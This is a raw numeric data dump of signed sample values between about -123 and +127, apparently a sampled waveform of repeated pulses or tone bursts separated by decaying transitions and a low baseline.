+8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +8 +8 +9 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +10 +9 +9 +9 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-40 +-36 +-33 +-31 +-27 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-12 +-11 +-9 +-7 +-6 +-5 +-2 +0 +1 +1 +2 +3 +4 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +10 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +12 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +16 +15 +15 +15 +15 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +15 +15 +15 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +15 +15 +14 +15 +13 +13 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-88 +-81 +-74 +-68 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-47 +-42 +-39 +-35 +-31 +-28 +-26 +-22 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +68 +65 +61 +57 +53 +50 +48 +45 +42 +40 +38 +36 +34 +32 +31 +30 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-36 +-32 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-90 +-82 +-75 +-68 +-62 +-59 +-54 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-16 +-14 +-11 +-10 +-9 +-8 +-6 +-5 +-3 +-2 +1 +1 +2 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +10 +10 +11 +11 +12 +11 +12 +13 +12 +10 +12 +13 +13 +13 +14 +14 +14 +13 +13 +14 +14 +13 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +15 +15 +13 +13 +13 +15 +15 +15 +14 +15 +15 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +79 +74 +68 +64 +61 +57 +53 +50 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +101 +95 +89 +84 +79 +74 +68 +64 +60 +56 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +27 +26 +25 +25 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-99 +-92 +-85 +-78 +-72 +-67 +-61 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-12 +-11 +-9 +-7 +-4 +-3 +-1 +-1 +0 +1 +1 +2 +4 +4 +5 +5 +6 +6 +6 +7 +9 +9 +10 +10 +11 +10 +10 +11 +12 +11 +12 +12 +12 +11 +11 +12 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +13 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +104 +98 +90 +85 +79 +73 +68 +64 +60 +56 +53 +50 +46 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +25 +23 +22 +21 +20 +19 +18 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +11 +12 +11 +11 +11 +11 +10 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-101 +-93 +-86 +-79 +-72 +-67 +-62 +-56 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-64 +-59 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-23 +-20 +-17 +-16 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-69 +-64 +-60 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +6 +6 +6 +7 +7 +8 +9 +10 +10 +11 +11 +11 +11 +11 +11 +11 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +85 +79 +74 +70 +66 +61 +58 +55 +51 +48 +46 +43 +41 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-78 +-72 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +90 +85 +79 +74 +69 +65 +61 +57 +54 +52 +48 +45 +43 +41 +38 +36 +34 +33 +30 +29 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-92 +-84 +-77 +-70 +-65 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-8 +-6 +-4 +-3 +-1 +0 +0 +0 +2 +3 +5 +6 +7 +7 +7 +6 +7 +7 +8 +9 +9 +9 +10 +9 +10 +11 +11 +11 +12 +12 +12 +11 +11 +12 +13 +13 +14 +14 +13 +13 +13 +13 +14 +13 +14 +14 +14 +13 +13 +14 +14 +14 +15 +15 +15 +15 +15 +14 +14 +15 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-91 +-83 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +10 +10 +11 +11 +11 +10 +11 +12 +12 +11 +12 +11 +11 +11 +13 +13 +14 +13 +13 +13 +14 +14 +14 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +15 +15 +13 +14 +14 +15 +15 +15 +15 +15 +13 +14 +14 +14 +13 +14 +14 +14 +13 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +89 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +46 +43 +42 +39 +38 +35 +33 +31 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +83 +78 +74 +68 +64 +61 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +97 +91 +85 +79 +74 +69 +65 +60 +58 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +108 +100 +94 +89 +83 +77 +73 +69 +65 +60 +57 +54 +50 +47 +44 +42 +40 +37 +35 +34 +33 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-78 +-71 +-66 +-61 +-55 +-49 +-44 +-39 +-36 +-33 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-9 +-7 +-5 +-4 +-2 +0 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +6 +8 +10 +10 +11 +11 +11 +10 +11 +11 +11 +12 +12 +11 +12 +11 +11 +11 +13 +13 +13 +13 +14 +13 +13 +13 +14 +13 +14 +14 +14 +13 +13 +13 +15 +15 +15 +15 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +95 +88 +83 +72 +68 +65 +61 +57 +53 +51 +47 +45 +42 +40 +38 +36 +34 +33 +30 +29 +28 +27 +25 +24 +23 +23 +22 +21 +20 +19 +18 +18 +16 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +12 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-100 +-92 +-84 +-78 +-72 +-67 +-61 +-56 +-50 +-45 +-41 +-38 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-9 +-7 +-5 +-4 +-2 +0 +0 +1 +1 +3 +3 +4 +5 +6 +7 +7 +6 +7 +8 +9 +9 +11 +11 +11 +10 +11 +12 +12 +11 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-98 +-89 +-82 +-74 +-68 +-63 +-58 +-52 +-47 +-43 +-38 +-33 +-30 +-27 +-24 +-21 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +95 +89 +84 +77 +72 +68 +64 +60 +57 +53 +51 +48 +45 +42 +40 +38 +36 +34 +33 +30 +29 +27 +27 +25 +24 +22 +22 +21 +20 +19 +19 +17 +17 +16 +16 +15 +15 +14 +15 +14 +13 +13 +14 +13 +12 +12 +12 +12 +11 +11 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +10 +11 +10 +10 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +9 +10 +10 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +10 +10 +11 +11 +11 +9 +10 +8 +8 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-101 +-93 